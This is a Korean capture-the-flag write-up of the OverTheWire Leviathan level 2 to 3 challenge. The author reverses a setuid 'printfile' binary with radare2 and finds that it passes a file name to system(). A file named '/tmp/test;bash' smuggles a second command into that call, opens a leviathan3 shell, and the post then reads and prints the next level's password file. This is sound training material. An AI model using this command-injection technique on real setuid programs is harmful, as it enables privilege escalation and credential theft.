Computer Security

#2 Wargame leviathan2 (Level2 ~ Level3), radare2,Command injection 본문

Wargame:leviathan

#2 Wargame leviathan2 (Level2 ~ Level3), radare2,Command injection

쿠리 Kuri 2022. 7. 27. 18:30

Level2 -> Level3

 

 

1. ls -al 을 이용해 살펴보니 printfile 이 setuid 이고, 실행시키면 leviathan3 권한으로 실행되는 것을 알 수 있다.

leviathan2@leviathan:~$ ls -al
total 28
drwxr-xr-x  2 root       root       4096 Aug 26  2019 .
drwxr-xr-x 10 root       root       4096 Aug 26  2019 ..
-rw-r--r--  1 root       root        220 May 15  2017 .bash_logout
-rw-r--r--  1 root       root       3526 May 15  2017 .bashrc
-r-sr-x---  1 leviathan3 leviathan2 7436 Aug 26  2019 printfile
-rw-r--r--  1 root       root        675 May 15  2017 .profile

 

 

 

2. printfile을 실행 시켜보자.

leviathan2@leviathan:~$ ./printfile
*** File Printer ***
Usage: ./printfile filename

./printfile filename 형식으로 사용하라고 나온다.

 

 

 

3. radare2로 리버싱해보자.

leviathan2@leviathan:~$ r2 printfile
 -- Use rabin2 to discover the real TRUTH
[0x08048430]> aaaaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Check for objc references
[x] Check for vtables
[x] Type matching analysis for all functions (aaft)
[x] Propagate noreturn information
[x] Use -AA or aaaa to perform additional experimental analysis.
[x] Finding function preludes
[x] Enable constraint types analysis for variables
[0x08048430]> afl
0x08048430    1 33           entry0
0x080483f0    1 6            sym.imp.__libc_start_main
0x08048470    4 43           sym.deregister_tm_clones
0x080484a0    4 53           sym.register_tm_clones
0x080484e0    3 30           entry.fini0
0x08048500    4 43   -> 40   entry.init0
0x08048670    1 2            sym.__libc_csu_fini
0x08048460    1 4            sym.__x86.get_pc_thunk.bx
0x08048674    1 20           sym._fini
0x08048610    4 93           sym.__libc_csu_init
0x0804852b    6 217          main
0x0804836c    3 35           sym._init
0x08048420    1 6            sym..plt.got
0x080483a0    1 6            sym.imp.printf
0x080483b0    1 6            sym.imp.geteuid
0x080483c0    1 6            sym.imp.puts
0x080483d0    1 6            sym.imp.system
0x080483e0    1 6            sym.imp.setreuid
0x08048400    1 6            sym.imp.snprintf
0x08048410    1 6            sym.imp.access

pdf @main

 

 

 

4.일단  0x08048585      e886feffff     call sym.imp.access         ; int acc    ess(const char *path, int mode)  를 살펴보면 access가 되는데,   access('입력받은 파일경로', 4) ;   -> 대입할땐, push 4 , push eax 로 넣어준다.

뒤에 숫자의 의미는 1: 읽기 권한 확인, 2:쓰기 권한 확인, 3:실행 권한 확인, 4:파일 존재 여부 확인 이다.

따라서, access는 입력받은 파일이 존재하는지 안하는지 여부를 확인 한다. 

만약, 존재하면 0  없으면 -1 리턴된다.

 

 

 

5. snfrintf 가 실행된다.  snfrintf는 문자열을 만드는 함수이다. 

 int snprintf(char *s, size_t size, const char *format, ...) 로 되어있는데,

snprintf(*s,  0x1ff, "/bin/cat %s", argv[1]); 에선 ,  문자열 "/bin/cat 입력한파일 이름" 만들어서, 시스템함수에 전달해 저 명려어를 실행 시켜주는 역할을 해준다!

 

 

 

6. 아래의 부분은 권한 설정 코드이다.

|     ||    0x080485ca      e8e1fdffff     call sym.imp.geteuid        ; uid_t g    eteuid(void)
|     ||    0x080485cf      89c3           mov ebx, eax
|     ||    0x080485d1      e8dafdffff     call sym.imp.geteuid        ; uid_t g    eteuid(void)
|     ||    0x080485d6      83ec08         sub esp, 8
|     ||    0x080485d9      53             push ebx
|     ||    0x080485da      50             push eax
|     ||    0x080485db      e800feffff     call sym.imp.setreuid
|     ||    0x080485e0      83c410         add esp, 0x10
|     ||    0x080485e3      83ec0c         sub esp, 0xc
|     ||    0x080485e6      8d85f8fdffff   lea eax, [string]
|     ||    0x080485ec      50             push eax                    ; const c    har *string

 

 

 

7. 시스템함수는 system("/bin/cat  내가 입력할 부분"); 이라는 것인데, 우리는 여기서 ; 를 이용해 명령어를 연속 출력 해볼 것이다. 

 

 

 

8.echo "test" > "/tmp/test;bash" 라는 파일을 하나 만들어서  저 경로 파일을 불러오고, bash명령이 실행하게끔 해준다.

이렇게 하면, 엑세스 명령어는 통과된다.

leviathan2@leviathan:~$ echo "test"> "/tmp/test;bash"
leviathan2@leviathan:~$ ls "/tmp/test;bash"
/tmp/test;bash

 

 

 

9. 그다음 ./printfile "/tmp/test;bash" 를 이용해 실행 시켜주면 leviathan3에 정상적으로 접속된다!

leviathan2@leviathan:~$ ./printfile "/tmp/test;bash"
/bin/cat: /tmp/test: No such file or directory
leviathan3@leviathan:~$

 

 

 

10.이제 여기서  cat 명령어를 이용해 leviathan3의 비밀번호: Ahdiemoo1j 를 얻어주면 된다!

leviathan3@leviathan:~$ cat /etc/leviathan_pass/leviathan3
Ahdiemoo1j

 

 

 

11. 위에서 얻은 비밀번호로 leviathan3에 접속하면 성공!

--[ Tools ]--

 For your convenience we have installed a few usefull tools which you can find
 in the following locations:

    * pwndbg (https://github.com/pwndbg/pwndbg) in /usr/local/pwndbg/
    * peda (https://github.com/longld/peda.git) in /usr/local/peda/
    * gdbinit (https://github.com/gdbinit/Gdbinit) in /usr/local/gdbinit/
    * pwntools (https://github.com/Gallopsled/pwntools)
    * radare2 (http://www.radare.org/)
    * checksec.sh (http://www.trapkit.de/tools/checksec.html) in /usr/local/bin/checksec.sh

--[ More information ]--

  For more information regarding individual wargames, visit
  http://www.overthewire.org/wargames/

  For support, questions or comments, contact us through IRC on
  irc.overthewire.org #wargames.

  Enjoy your stay!

leviathan3@leviathan:~$

 

Comments